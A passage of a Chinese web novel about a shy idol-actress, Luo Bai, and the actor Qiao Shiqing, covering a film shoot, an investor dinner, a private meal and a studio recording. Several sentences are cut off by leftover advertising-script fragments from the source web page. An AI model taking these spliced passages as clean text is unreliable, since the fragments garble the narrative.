“是啊,你们二人脾性相投,一定会成为一起出生入死的好兄弟。”吴詹呵呵笑着,“以后有什么事,叔叔能帮上忙的,一定不要客气啊。” 姜誉飞嘴角抽搐,刚入了嘴的菜索然无味。 “他爹的,给爷整吐了。”散了饭局,姜誉飞脱口而出,“还要我和那孙子出生入死。” 洛白这回没向往常一样纠正他的口癖,握着手机心不在焉。 按照吴詹夫妇方才的态度,他们非但愿意对姜誉飞既往不咎,还有意思撮合自己的儿子和他当朋友。 昨日还信誓旦旦地和于老师要求坚决处理姜誉飞,今日就换了态度。 其中转折,必然就在于乔时青吧。 洛白解锁手机,拇指虚放在屏幕上,指着通话键。 虽然不知道他出于什么样的原因,替她解决了这样棘手的事。但道谢这一环节,是绝对不可以省略掉的。 然而…… 她不太敢。 “你盯着手机发什么呆啊?”姜誉飞撇过头,随口说,“该不会是在想给哪个野男人发消息?” “说什么。”洛白立刻锁了屏,“要不是他——” “他?!谁啊?!”姜誉飞登时警铃大作,想起饭桌上的话,“那个乔少?” 洛白:“车来了,我们回去吧。” 姜誉飞紧着洛白弯身坐进后座,没打算就这么放过这个骤然闪过的称呼:“哎,那个乔少到底是谁?” “咦,弟弟怎么认识乔哥?”驾驶座上的四吉好奇道。 “我艹,为什么你也知道?”姜誉飞双眼陡然睁大,语气极为不爽。 “他是——”洛白打住他的胡思乱想以及即将可能开始的胡言乱语,顿了顿,在“圈里的前辈”和“简言之的好朋友”之内开辟了一道新选项,“我新戏的合作搭档。” 姜誉飞眯起双眼,凑近了洛白,重复着她的说辞:“搭——档——?” 洛白转过头,不再与他争辩。 姜誉飞自小就对所有靠近他姐姐的男人抱有绝对的恶意,早在洛白入娱乐圈之前,就有不少的追求者企图通过贿赂姜誉飞来获取洛白的芳心,反而在姜誉飞这遇到了最大的阻碍。 总的来说,在他眼里,除了他以外的所有男性,都是野男人。 “什么狗屁搭档。八成又是个没脑子的公子哥。”姜誉飞嗤了一声。 姜誉飞才不会领那个姓乔的情,尽管他一度会被扼杀的职业生涯因对方而被保住了。 但洛白却不能视若无睹。 她打开微信,翻到乔时青的名字点进去,聊天界面上大片空白,只有那条“你已添加了乔时青,现在可以开始聊天了”系统提示躺着。 她没有主动联系过乔时青。 自小少了与人交流的经验,洛白便养成了交流废的孤僻性子,以至于她和不熟悉的人待在一起总是会不自觉地冷下脸,一句话也说不出口。 因而她几乎从来不主动和别人交流。 洛白的心里没有底,她除了谢谢之外也不知道该和乔时青说什么的。 她和乔时青接触不多,也摸不透他的脾气。 得知《第三夜》男主是他的那天,经纪人和助理都是又悲又喜。 “票房肯定稳了啊!这种好事为什么会给我们摊上?” “这得招多少人眼红啊——” “可这个乔时青也是出了名的难搞,指不定有什么麻烦呢。估计比在《封玄境》剧组时还不好受,哎。” “你千万离他远一点,免得他看你不爽,给营销号做文章也不好。” 可就和乔时青的几次接触而言,他似乎不像传闻中那样骄矜。 说话时常带着笑意,和她保持着恰到好处的社交距离,刻意起收敛自己的气场以不给人压迫感,总体感觉挺温和的。 直到最后终于把那条消息发送出去时,洛白已经纠结了快半个小时。她被自己的胡思乱想折磨得不堪。 [洛白:谢谢你] 他会怎么回复? “不客气。” “哦。” “你在说什么?” 还是干脆就不回? 回复比她预想的来得快。 洛白迟疑了一下,点开。 [乔时青:怎么谢?] …? [洛白:…?] [乔时青:比如说请我吃顿饭什么的] [洛白:也不是不可以] [乔时青:怎么好像很勉强] [洛白:不勉强] [乔时青:嗯。那说定了] - 翌日。 “他人呢?” “在琴房,太太。” 要不是看见清洁阿姨收拾起来的酒瓶,宁岚不会知道她的独生子悄无声息地回了家。 她从美容室里一出来便径直上了楼,朝着空了快两年的琴房走去。 自从乔时青幼时学习钢琴开始,那间琴房就成了他一人的领地。以前要是别人未经他允许进去,这位少爷立马就会甩脸色。 不过她这个儿子会甩脸色的地方多了去了,她向来不客气。 按下门把推开门的刹那,被隔音门隔开的钢琴乐潮水一般涌了出来。 弹钢琴的人坐在三角钢琴前,十指翻飞舞动,编织着明朗悠雅的旋律。 宁岚靠在门边静静端详着,脸上现出既欣慰又骄傲的神色。 曾经有好几年,乔时青一把自己关进琴房练琴,没六七个小时压根不会出来。 他天赋异禀,识谱极快,十来岁就能弹完巴赫平均律,直叫他的老师惊叹不已,请她务必将她的孩子培养成世界级的钢琴家。 可惜时至今日,他已经不再像从前那样热忱钢琴了。 “心情不错啊?” 一曲完毕,宁岚悠哉开口。 乔时青的目光从琴键上移开:“非常好。” “今天和林家的聚餐没忘吧?” 早在半个月前,宁岚就和她这个儿子耳提面命过了,一定要他来参加今晚林家举办的聚会。不过乔时青向来对所有的宴会都兴味索然,从小到大能躲就躲,甚至连自己的生日宴都逃过七八次。 乔时青搭在黑键上的手指动了下,几个音节响起,他懒懒抛出来一句:“不去不行么。” “那你林叔问起来,我怎么和他说?”宁岚瞪了他一眼。 “就车祸吧。” 宁岚半眯起眼,很是咬牙切齿:“前年方渊他妈生日的时候你就出过车祸了,你忘了?” “后遗症复发了。” “乔时青!人家小沐好不容易才回国了。” “那关 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我什么事。”乔时青合上琴盖,起身,顺手拿过一边的外套。 宁岚见他像是要出门的样子:“你去哪?真不去了?” “我回剧组住。” “什么毛病,为什么不住家里要住酒店?” 儿子对她笑了一下:“不住剧组,怎么能演好戏。” “……” - 开机仪式过后,整个剧组便前往摄影棚开始准备拍摄。 《第三夜》的大场景设定在一间酒店里,所以整部戏的拍摄几乎都是在棚里进行,很少有外景。 洛白一踏进棚内,四吉便递上来了一杯水和两片药:“快吃完了,我到时候再去买。” “恩。” 冷水送服。 洛白咽下药片,嘴里发苦泛涩,她又喝了几口水。 工作人员来来往往,行色匆匆地摆驾设备,副导和场务的声音此起彼伏招呼着,洛白吃过药便安安静静让化妆师给自己做试妆定造型。 “开机仪式上热搜了啊。”四吉在旁边迅速地滑动手机,“还好咱们路人缘不错,网友的评论风向还是比较积极的。” [乔时青和小洛白?这个搭配也太净化眼球了!] [原著党觉得可!] [简言之:我的两个CP合作了??] 之前拍《封玄境》时,洛白和安灿宗搭戏,大概是被范沁那边的人买了黑通稿,不少人都在评论区刷问号三连,嘲讽洛白是ID皇族,上来就和当红小生搭戏,全然不提她演的只是个早早就领便当的女三号。 到现在也有一些刺眼的评论。 [居然能接下乔时青回归第一部戏的女主,洛白果然是ID皇族啊] [洛白现在的资源太好了吧] 妆造做完回到剧组包的酒店房间,新经纪人秦湘正在给她挑衣服。 她原来没有自己的经纪人,之前的通告一直是由COSINE组合的经纪人李智元对接的。现在她的通告变多,公司就从演员部调了一个经纪人给她。秦湘现在同时在带她和公司另一个女演员宋宜宁。 “我一定要去吗?”洛白看了眼秦湘摆到床上的红色丝绒裙。 “诶,今晚这饭局别说导演监制,还有很多投资人都会来。”秦湘把另一件黑色的放在她身上比了比,“罗导叫你多给你面子啊,还能趁机认识不少大人物。你还不愿意去了?” “要不这件吧?”秦湘又拿了件白色的薄纱开衩裙,“新款。” 洛白沉默了一会儿,朝衣架上一件黑色的裙子觑了眼:“这件吧。” “这件没什么亮点,太简单了些吧?” “就它吧。” 秦湘叹了口气,就随她去换衣服。换好衣服又帮洛白看了看妆理了理头发,才和她下楼:“四吉应该等在酒店外了。” “跟你认真说呢,洛洛。” “有人要认识你,一定要礼貌,千万不能摆脸色。就当有镜头对着你,软一点,乖巧一点。” “重要的是啊,多说话,不要光杵在那。” “如果导演把你介绍给别人,握手的时候一定要笑。” “四吉?你怎么还在这?不是让你去开车的么?”一走出酒店大厅,她们就见四吉呆呆地站在一边。 四吉挠了挠头发:“乔哥他……” 话还没说完,一辆银灰色的法拉利便转了个弯刹在了三人身前。 “说顺路。”四吉补充完了。 11. 夏轩 “我也要去,一起吧。”乔时青从驾驶座上走下来,看着洛白说。 洛白一愣,下意识转头看向秦湘。 秦湘有些愕然,还是堆着笑:“这,这会不会太麻烦你呀。” “不麻烦,很荣幸。”他打开了副驾驶的车门。 乔时青都这么直晃晃地开了口,秦湘当然不能驳了他的面子:“那麻烦你了乔老师。” 她给洛白使了个眼色,拍了拍洛白的手让她上车。 和秦湘四吉告别后,洛白低头系好安全带。 法拉利驶出停车场不过几分钟,乔时青忽然开口:“我带你去玩?” 洛白没反应过来。 “去别的地方玩。”乔时青将车停在路边,“那个饭局很无聊。” 她顿了下:“导演会不高兴的。” “我会和他说的。” 乔时青猜她有些动摇,便问:“好不好?” 洛白却说:“算了。去吧。” “想去?” 洛白盯着铺在膝盖上的黑色裙摆,不置可否,只说:“去吧。” 乔时青的手指莫名抽动,想把她披散的头发拢到耳边,看看她的表情,不过他只是静静说:“那好。” 等到了宴厅门外,乔时青看到远处一个熟悉的身影,停下了脚步。 洛白跟着他停下来:“你不进去吗?” 乔时青笑了:“你想我陪你进去?” 洛白立刻移开目光,转过身说:“我先进去了。” “乔时青?!” 洛白前脚刚进宴厅,从电梯间过来的周坤回就喜出望外地快步上前说:“难得啊,在这种地方见到你。” 乔时青说:“你怎么会在这?” “这是新源。”周坤回摊开双臂,“新源哪个局能少得了我?没有我周坤回的局永远都是不完整的。” 两人并肩走进会厅,周坤回咋舌道:“昨晚你没来,林大小姐把你一顿骂的啊。” 他接过侍应生端来的两杯香槟顺手递给乔时青,后者没接。 “一会儿要开车。” 周坤回不勉强他,仰头喝自己的:“姚启刚才还和我炫耀,说不久前找了个女友,是当红的女星,美得不行。正让我猜是谁呢。” 乔时青的目光在全场逡巡,偶然捕捉到姚启:“那他还和范沁聊得那么欢。” “你还不了解他?他跟夏轩一个样,属风的,就爱彩旗飘飘。”周坤回笑起来,“夏轩和他较劲呢。这会儿不知道哪里去找新欢了。” 周坤回正自顾自说着,骤然看见乔时青望着不远处的眸色越来越沉。 - “洛洛来啦?”电影的编剧恰好在离门边不远处,一见洛白就说,“导演在那呢,快过去。” 洛白谢过编剧,走到罗导身边和他问好。 罗导喜笑颜开:“这就是我这部片子的女主角,洛白。洛洛啊,这是陈乾导演。” 陈乾导演和善地笑了笑,向她伸出手:“我知道,是很有灵气的女孩。” 洛白和他握了握,微微莞尔:“导演好。” “之前你和江朝拍的那部电影,我看过,演的真好。希望以后能有机会和你合作。” 自己的女主角被夸奖了,罗导也是乐不可支,对洛白说:“陈乾导演可都是导大商业片的,腕儿大着呢。” “真是抬举我了,老罗。” “两位导演在聊什么呢?”身穿红色亮片裙的范沁笑容满满地走过来。 洛白看见她身后还跟来了她的死对头章佳萱,噤了声,又想找个合适的时机开溜。 “这不是《封玄境》的女主角么?”章佳萱笑吟吟的,蜜糖一般的声线里有不难察觉的讥讽。 范沁嘴角的弧度不减:“啊呀,佳萱,这么久没见到你,我还以为你要隐退了呢。” “小洛白。”有人喊了她一声。 洛白应声回望,眼里现出一丝欣喜:“金灵姐。” 金灵今晚身穿白色的抹胸叠纱裙,黑发红唇,身材丰满,眉眼几分懒意不掩,仍是人间尤物的模样。 “嗯。原来你在和乔时青拍戏啊。”她又说,“热搜都不用看,光听秦湘炫耀就够了。” 话语间金灵频频打量面前的队友。洛白穿的那条黑裙,乍见素雅,但方领木耳边的设计最能勾勒锁骨线条。裙身点缀刺绣花朵,裙摆处垂坠飘逸。 也就是她这个人气质好。穿什么都显高级。要是换了别人来穿,真是一场平庸的灾难。 洛白有些无奈,只好转移话题:“听说你马上也要进组了?” “是啊。本来女主是章佳萱的,不过……”金灵微微倾身过来,眼中狡黠,“姚启给我了。” “你和他——” 金灵应了一声:“谈了。” 之前似乎听她提过在和寻目副总姚启约会。洛白没有放在心上,哪知已经在一起了。 金灵虽作为演员在圈内活动,但她同时还是国内一线女团COSINE的门面。她谈恋爱,要是被公司或是粉丝知道了…… “你喜欢他?”洛白问。 “谈不上。”金灵像是没什么所谓地摆了摆手,“各有所图吧。” 洛白双眸一敛,掩下多余神色:“和佳念姐说过了吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “队长还不知道。我挑个时候再和她们说。” 金灵正和洛白说着话,余光瞥见一个人影朝着她们的方向走过来,笑颜更盛:“夏总。” 是朝夏娱乐的副总。夏轩。 夏轩和她打过招呼,面向洛白道:“洛小姐,又见面了。” “嗯。夏总。”洛白不着痕迹地退了半步。 前段时间《封玄境》杀青宴,夏轩便找洛白要过微信,当时她拒绝了,没想到现在又撞上了。不过像这种聚会,夏轩这样的玩咖几乎不会缺席。来之前应该想到才对。 夏轩打了个响指,从招来的侍者的托盘上拿过两杯威士忌,将杯壁轻碰一下,把右手的那一杯递到洛白面前,笑意发深,像是找到了新的猎物:“洛小姐,赏脸喝一杯?” 洛白垂眸看向那满杯冰块的琥珀色液体,迟疑片刻后抬手接过酒杯,扬起天鹅般洁白纤瘦的脖颈,眉眼下敛,一饮而尽。 残余的酒滴随着洛白下颚的弧度一起回落,滑入高脚杯底。 浓烈发焦的气息瞬间在她的口腔弥漫开来。 夏轩很满意,不疾不徐地喝了一口:“够意思。” “夏总和洛洛认识?”金灵见他神色玩味,意外之余勾起眉。 “我倒有心认识。只不过现在还没要到联系方式。” 金灵的眼色在二人之间流转,夏轩的意思摆明了是在管洛白要微信,然而洛白也不知是真听不懂他的话外之音,还是装不懂,只是淡笑不语。 她便索性替她开了口:“这有什么,我把洛洛的微信推给夏总你就好。” “在这能见上面,也算是缘分不浅。”夏轩应下了金灵的好意,“不如一会儿我请洛小姐喝杯咖啡,我们好好聊聊?” 金灵给洛白去了个眼色,示意她应承下来。 洛白的表情凉下来:“我还要回去看剧本。” “剧本什么时候不能看。”金灵不动声色拍了她一下。 夏轩也没有就此作罢的意思:“洛小姐,这附近就有一家很不错的咖啡厅,我想会合你口味的。” 洛白讨厌觥筹交错的场合,也疲于应付你来我往的交际,只是迫于公司和经纪人的压力不得不来。而金灵、范沁她们游刃有余的模样,让她无端地产生了一种莫名的自我怀疑。难道她应该按秦湘姐曾经的叮嘱,学着“会来事”一点? “哪有人大晚上喝咖啡。” 有个声音响在她身后。 夏轩一愣:“乔时青?你怎么来了?” 他的目光又移到了跟着乔时青过来的周坤回身上,后者冲他嬉笑一声:“哈喽。” 12. 吃饭 夏轩语气复杂地哧了一声:“真是别来无恙啊,二位。” “那怎么不见你请我喝咖啡。夏总。”乔时青说。 他这句称呼在夏轩眼里似乎有别样的嘲讽意味,夏轩的脸色登时不太好看,想说的话似乎金灵和洛白在场没说出口,只是说:“我请谁喝咖啡,难道还要经过你同意?” “哎?”站在乔时青身侧的那个男人突然开口,“现在站在我面前的就是咱们国内第一女团的成员,金灵和洛白,对吧?自我介绍下,周坤回。” 两人向他点了点头。金灵笑容得体:“周少的大名,我们早就听说过了。” 当然,洛白是没听说过的。 周坤回笑着说:“姚启可真好运,可以交到金小姐你这么美的女友。” 夏轩不太满意自己的焦点被转移,正要开口:“洛——” 乔时青截断了他的话头,看向洛白:“待腻了吗。” 洛白不可能说实话,摇了摇头:“还好。” “回剧组吧。”他的理由很充分,“明早还有戏。和导演打过招呼了。” 洛白这才点头:“那好。” 两人的对话早被周坤回和金灵收入眼底。 “你们俩在拍戏是嘛。”周坤回不动声色地打量了下洛白,又笑起来拍拍乔时青的肩膀,“洛小姐,我这个朋友不好相处,你多包涵。” 洛白说:“不会。挺好相处的。” 比起来,她好像才是不好相处的那一个。 周坤回只当洛白在说场面话,毕竟乔时青那古怪又自大的个性他还是很了解的。 金灵伸手拎过洛白手里的酒杯,对乔时青说:“乔哥。那就麻烦你送洛洛回去。” “你们当我不存在?”被晾在一旁的夏轩看他们俩旁若无人地离开,话里已经有很大不悦。 周坤回扫他一眼,揽过他的肩膀:“哪能啊。老夏,来,跟我叙叙旧吧。” - 傍晚刚下了场半大的雨,气温倏忽降低。 风里裹着凉意,卷着落叶飘过来,偶然贴在车舷上,很快又被拂走。 “洛白,我饿了。” 乔时青稍稍舒展了下搭在方向盘上的手。 洛白愕然:“恩?” “刚才什么也没吃,现在我特别饿。” “那……”洛白的发语词伴着她的犹豫延长着,她想起之前承诺过他要请他吃饭的事,想了想硬着头皮说,“我请你吃饭?” “行。” 乔时青装作看路况,朝一边侧过脸,压住上扬的嘴角。 他是越来越清楚这位小姐的脾气了。 “你想去哪儿?”他问。 洛白说:“都行。随你方便就好。” “你的胃不太好?” 洛白哪里想到他会问这个:“挺好的。” 实际上她隔三岔五就胃疼,因而时常备着胃药。 但总不能以胃病之由,让别人迁就自己。 “你随意选个地就好了。”她又说。 乔时青不再追问,在十字路口转了方向,朝着另一条路去。 车里没有放音乐,隔音又格外的好,抵达餐厅之前的时间太过充裕,以至于洛白察觉出了车内过分的安静。 坐在乔时青的车里,仿佛踏入了他的领地,周遭都是他的所有物。 想到这里洛白便有些局促,又不知该如何打破或是该不该打破当下的僵局,只好转过了头,盯着车窗外一一驰过的行道树。 “你知道吗。新源的街上种的大多都是法国梧桐和香樟,只有这一条街种的是樱花树。” 听见乔时青的声音,洛白回过神来:“樱花树?” “是啊。每年三四月的时候,就会吸引很多人来拍照赏花什么的。”乔时青也往窗外瞟了一眼。 洛白闻言又朝着窗外的乔木望去,枝繁叶茂,哪里有一朵花的影子。 她瞥见路牌,恍惚想起一些事:“我以前来过这,那时好像还不是樱花树。” “那有很久了吧?这些树在六七年前就移植了。”乔时青诧然说。 洛白轻轻点头:“以前……在这住过一段时间。” 她还清晰地记得她和妈妈走在这条街上的场景。 那时洛知雅松开了洛白的手,姜黄的银杏叶漫天凋落,她那双黑色的细高跟一步一步踩在满地的落叶上,女人朝着马路中央缓缓走去。 十一月的风吹着她深蓝色的长裙,扬起那头青黑色的长发。洛白站在原地,被她绝望而骄傲的笑容慑住。 一辆又一辆的车急刹在她身前,有不断的谩骂声从车辆里迸出来。 后来人们说,她那是不想活了。 - 同新陵的“伊云坊”类似,“栖酌”同样是间私房菜馆。 不过比起伊云坊而言,栖酌更为低调雅致,进门前就有森林式的户外花园,爬山虎满上墙,绿意盎然,格外清幽。 踏入门内,随处可见的便是极具岭南风情的装修,厅内庭外栽了不少绿植,氛围感十足。 “乔先生,还是老位子吗?” 乔时青应了一声,转头见洛白多看了几眼路过的绿植,便说:“这里是旧厂房改造的,老板喜欢花花草草,设计的时候就种了不少。” 等他们在桌前坐下来,乔时青便问她有什么忌口,洛白自然是摇头,让他随心点几道菜就好。 乔时青没有推脱,划了划菜单,点菜的动作倒很快。 洛白见他像个不断 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 接受推销产品的顾客那样脸上不停出现“这个很好”“这个也不错”“这个特别好吧”的满意表情,咽下了自己想劝阻他的话。 等菜上齐,洛白一言难尽地看着那一道道菜—— 党参牛肉、当归鲫鱼、牛肝菌焖饭、无花果炖鸡、花胶炖螺、黄焖佛跳墙、桂花燕窝、蔓越莓山药泥、姜汁撞奶。 夏天的夜晚,滋气补血冒着热气的菜肴占据了整张桌子。 洛白终于忍不住小声说:“我们,其实只有两个人。” 而且,这些好……补。 乔时青苦笑了一下,他笑自己鬼使神差:“我有些荒唐。” 洛白只以为他是在懊悔,忙拿起汤匙舀了一勺鱼汤:“喝些汤也蛮好的。” 于是就见乔时青盯着她慢慢喝下去。 鱼汤鲜香温热,让身体忽地暖了不少。 “很好喝。” “实话吧?” “恩。” “那你再试试这个。” “还有这个。” “你不要光喝汤。” “你不要光吃菜。” 洛白:“……你不吃吗?” 看她这么配合地夹这个夹那个,心满意足的乔时青这才心不在焉地吃起晚饭。 半晌,对面的人轻轻放下筷子。 乔时青扫了眼桌上几乎没怎么改变的菜肴:“因为是和我吃饭所以没胃口?” 洛白摇头:“不是。我平时胃口就不太好。” 很是少见地,洛白凝视着他,眼里露出几分诚恳,又补了一句:“真的。” 空气中散着茉莉与蔓越莓的味道,乔时青却莫名闻见一阵白兰地的气息。 初见时她便是用这双小鹿一般的眼睛紧紧盯住自己,清澈的眸中透着狡黠与无辜,像泛着星光的一汪泉水。 她说她对他很感兴趣。她说她想听他说话。 他信以为真。 结果又不了了之。 洛白啊洛白。 勾起他的好奇心,叫他在意得要死。 再见面却总拿一副疏离的样子来对他。 他觉得自己被彻底地玩弄了。 但他又无法对这样的她发出过分的质问。 四目相对,这次换乔时青先移开了眼。 “那个……”洛白忽然出声。 “怎么了?” “今天谢谢你解围。”洛白把目光放在离她最近的那一碟蔓越莓山药泥上,看着那一个个圆滚滚的小团子。 乔时青没有装作不明所以:“我只是不想让你去喝咖啡。” 洛白本想请他吃饭还人情,可惜付账时乔时青没有给她发挥的余地。 “麻烦你欠我久一点。”他这么说。 13. 错过 天窗的缝隙里挤进来一丝光亮。 江雨警惕地盯着那个男人。 “告诉我。怎么才能离开这里。” 那人的面容隐匿在暗色里,凌乱的碎发挡住了他的双眼。 江雨仔细听,才听见他极轻的一声调笑。 “——不告诉你。” “作为交换,我可以放你出来。”江雨说。 男人像是听到了一个笑话:“你自己都出不去。” “卡!” “很好啊,很好,都休息一下半小时以后拍第二场。”导演站起身来,端起那个随身的大水壶猛灌了几口水。 乔时青站起来侧身经过洛白:“辛苦了。” 洛白摇头,走到一边等造型师上来给她调整造型。 站在一边观摩的沈碧华提起嘴角半是调侃:“可以啊,乔老师。这么久没拍戏,状态还不错啊。” “细心揣摩角色的结果。”乔时青泰然说。 沈碧华嚯了一声:“拢共也没见你看几次剧本。” “你知道我过目不忘的。” 乔时青手机忽响,几条信息接踵而至,他看了眼便起身走了出去。 沈碧华的目光从他的背影收回来:“自大狂。” “碧华姐,喝咖啡。”秦湘端着笑脸,分外殷切地给她搬椅子。 沈碧华是谁。国内最知名的金牌经纪人之一。别说是乔时青了,她带过的艺人哪个不是大红大紫,有这大腿不及时抱,她秦湘可不傻。 沈碧华看得出她那点小心思,也不点破,接过咖啡:“谢了啊。” “碧华姐,后天不是会有记者来剧组里拍花絮和采访演员么……那个……” 沈碧华了然地点了点头:“到时候我会让时青配合点的。” 乔时青的各大采访常年被收录于“教科书级别的直男采访”“采访界天降惊雷”“男演员人间清醒名场面”“明星粉丝互怼名场面”等等热门盘点之中,网上还可以找到专门的合集。 【快问快答】“合作过的女演员里哪一个最让你心动?” “从来没有。” 【娱记专访】“经常拍到你出入酒吧,乔老师似乎很爱喝酒哎。” “不行?” 【花絮采访】“和沁沁姐拍戏的时候有什么印象深刻的地方吗?” “她总是忘词。” ——只要那个少爷在采访的时候不让这位后辈尴尬,就算是很配合了吧。 - “你怎么进来的?”乔时青止步,见不远处的周坤回正左顾右盼,“场务没把你这个闲杂人等清出去?” 周坤回这才看见他,大步流星地迎上来:“我周坤回还有进不去的地儿啦?” 他一把抱住乔时青,凑在他耳边说:“兄弟,快救济我。” “怎么回事?”乔时青把他拽开。 周坤回跟他诉苦:“我爸妈说我开那个俱乐部糟心,跟我吵了一架把我的银行卡都冻了。现在我出去应酬都没经费啊。” 话说完了又一把搂住乔时青:“这还不都怪你?我妈每次训我都拿你做例子——” “这也能赖我。”乔时青又推开他,“你像以前一样记我账上不就好了么?” “都说了是去应酬,那直接说记你账上多有失颜面啊。”周坤回眼神亮晶晶,鼓着双颊盯着乔时青。 乔时青甩了他一眼:“晚点我找人把卡送到你那。” “额度够用吧?”周坤回撞了撞乔时青的肩,得到肯定答复,他捧起乔时青的脸就要往上凑,“你对我真好,来,亲一个。” 乔时青及时精准地伸手按住他的脸,强行将他转了个身往外推了一把:“滚。” 刚解决完周坤回的经济问题,乔时青的手机又响了,他看也没看就接起来:“怎么?” “这两天有没有空,上个综艺!” 乔时青瞥了眼来电显示:“没空。” “哎,你最近不就光和洛白拍戏么。”那边的简言之把手机夹在耳侧,笔杆刷刷在草稿上划掉几句词。 “我懒得上综艺。” “是为了我那SOLO安排的个人综艺。没剧本的。” 乔时青闻言松了口:“什么时候?” “后天?” “把我的期数往后推。”乔时青说,“后天剧组有点事。” 后天恰好有记者进组探班,那天他和洛白各有排戏,两人都会在组里。 一贯而言,他倒是不在乎这些镜头的。 只不过既然有机会和洛白一起做采访—— 乔时青摩拳擦掌。 结果到了后天一早,他在棚里左逛右晃,也没有瞥见洛白的身影。 他逮住路过的副导:“洛白呢?” “今天没她的戏,应该不会来组里吧。”副导眼见男主角皱起眉,掏出行程表核查一番,“原本是有的,不过导演临时改场次了。” 反被聪明误—— 乔时青糟心地抿起唇,眼皮一抬看见不远处乌泱泱地挤进不少人,喧杂的噪声自远而至。 副导啊了一声:“乔老师,一会儿记者肯定想来采访你,你——” “就说我不在。” 乔时青抛了一句话,就转过身径直朝着另一个出口走。 副导哎了两声,瞻前顾后一番,只好掉头去应付那些记者。 - 作为ID旗下顶级男团的人气TOP,简言之的SOLO活动自然会得到公司不遗余力的支持。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 收录在SOLO专辑的五首歌悉数由他本人作词作曲,满溢着简言之强烈的个人风格。 对于其中唯一一首合作曲,他把橄榄枝抛给了同公司的师妹,洛白。 前段时间他忙得宵衣旰食,直到现在才排出了空录制全专最后这一首合作曲。 录音室的隔板上映出坐在调音台前的两个身影。 简言之的蓝色发带被灯光照得格外夺目,他拿笔在纸上一划:“要不这一段给你唱吧。” 洛白见他的笔尖戳在那一段RAP上,摇了头。 “试一试。”简言之冲她挑眼。 “不试。”洛白干脆道。 “为什么啊,效果肯定很好。” 同一众男团里的rap担当不一样,简言之是从十几岁开始就参加underground各类Battle说唱赛出身的真正的rapper。 出道的第二年,他就斩获了一档现象级说唱竞演节目的冠军,正式以rapper而非偶像的身份得到了大众的认可。 既然是他制作的歌曲,理所当然少不了一段rap。 洛白说:“我又不会说唱。” “怎么可能。你的启蒙老师那么牛逼。” “……” 简言之见她面无表情,丝毫不吃自己的梗,向后一仰直直躺在靠椅上,嚎起来:“洛白啊,你也太无趣了太正经了吧。所以老刘才不让你上综艺的啊。” 洛白敛着眉,把被他的动作扫到地上的纸张一一叠起来,塞回他手里:“那挺好的。” 简言之鲤鱼打挺似的弹起来,手肘搭在桌上,又看着手里的歌词:“你觉得我这次SOLO会怎么样?” “反响会很好的。”洛白说。 简言之的上眼皮一掀,看见面前人粉黛未施的白净面庞上没有任何戏谑的意思。他心里有所慰藉,嘴上只夸张地哦了一声:“这样啊,那得借你吉言了。” 洛白轻巧站起身:“去录歌吧。” 两人都是唱歌出身,又有绝佳的默契,前后不过三十分钟,便出了成品。 “不再录一遍吗?” “就这版。”简言之三下五除二收拾好,关了设备,推着洛白出门,得意洋洋地揽住她的肩,“表现的很好嘛!真是名师出高徒。” 没等洛白说话,恰巧从他们附近的练习室走出来的COSINE一阵哗然,起了哄。 “你俩公众场合能不能不这么秀啊?”顾若敏揶揄道。 “在一起得了,反正CP粉这么多。”林晓挽着她的手也跟着调侃。 简言之转回头说:“好朋友,懂不懂?” 最后一个走出来的金灵笑了一声:“暗恋等久了,人可就被别人拐走了。” 14. 排练 “那也得是洛白暗恋我。”简言之啧了一下。 后者淡淡推开了他的手:“少做梦了。” 简言之也就顺势松开了她,转而对一行人道:“走走走,我请你们吃饭。” 程佳念叫道:“不得了,你居然请客啦?” “你这话说的,怎么就一点儿都不好听呢?” 程佳念笑他:“从来都靠哥哥们请客的简言之现在终于有机会阔气一把了吧。” “既然弟弟都开口了,就挑那家最贵的和牛店。”金灵说。 简言之:“行吧行吧,反正一辈子就这一次。” - 【21:03实时热搜榜单】 1.#简言之洛白# [九点左右,简言之上传了一张聚会照片,并配文“今天是我请客!”。照片中简言之一手靠着洛白的椅子,一手比着剪刀,神情骄傲,坐在他身边的洛白则恬静地微笑着,让人大呼言之弟弟和洛洛妹妹CP感爆棚。这是两人自金叶奖后的第一次同框。#简言之洛白#] 【啊啊啊啊啊果然还是我的简白锁死锁死!!!】 【我就嗑真人我就嗑真人!!不良少年X乖巧少女的甜文我已经脑补一万字了!!】 【天哪洛白这个素颜是真实的吗?脸也好小啊。真的绝了。感觉和化淡妆时差不多啊,果然年轻就是资本啊。】 【哈哈哈哈哈小洛白比言之弟弟白了好几度哈哈哈,我的关注点好奇怪。】 … 5.#简言之请余弦吃饭# [九点左右,简言之上传了一张聚会照片,并配文“今天是我请客!”。随后余弦队长程佳念以及成员顾若敏也抛出合照,戏称“某制作人真大方啊”“简言之非要抢我的位置,和洛洛坐在一起很开心咯”] 【余弦隐藏团宠:简言之。】 【小洛白和金灵的颜是真的优越啊,美这个字我都说厌了。】 【哈哈哈你们看,就知道是言之弟弟自己抢着要坐在洛洛旁边的!】 … - 导演改了场次之后,今明两天洛白都不用拍摄,她便回了新陵。 一则是要给简言之录歌,二则是为了排练演唱会,三则是要参与新专辑的发行研讨会。 公司决定在ID演唱会之后着手发布COSINE的新专辑,等具体的概念设计下来之后,就会安排排练事宜。早上开会时,公司着重强调了这次专辑的重要性,并且暂定本次主打曲的概念中心交给洛白。 “‘洛白到时候了’,老刘当时就这么说。” 晚上排练完,GREENLIGHT的队长陈曦带了奶昔过来找她们聊天。说起白天的会议,程佳念便挤着嗓子压低声音学着老刘的语气说。 “小洛白看来是要红了啊。”陈曦把下巴枕在手上,笑吟吟地看向洛白,“老刘眼光特毒。” 金灵瞟了洛白一眼:“但凡你把握住机会。早该红了。” “是啊,要不是当初把上选秀的机会让给了顾若敏,也不至于——”陈曦住了嘴,差点忘了顾若敏已经是她们的队友了。 不过她确实为洛白鸣不平。 当初ID一手操办的选秀节目《FROMID》,头一年推出了SINE这个国内顶流男团,次年就准备打造女团COSINE。 这是ID专门从自己旗下的练习生中挑选出二十名来竞选四个出道位的节目,当初为了抢参赛名额,所有的练习生都急红了眼。 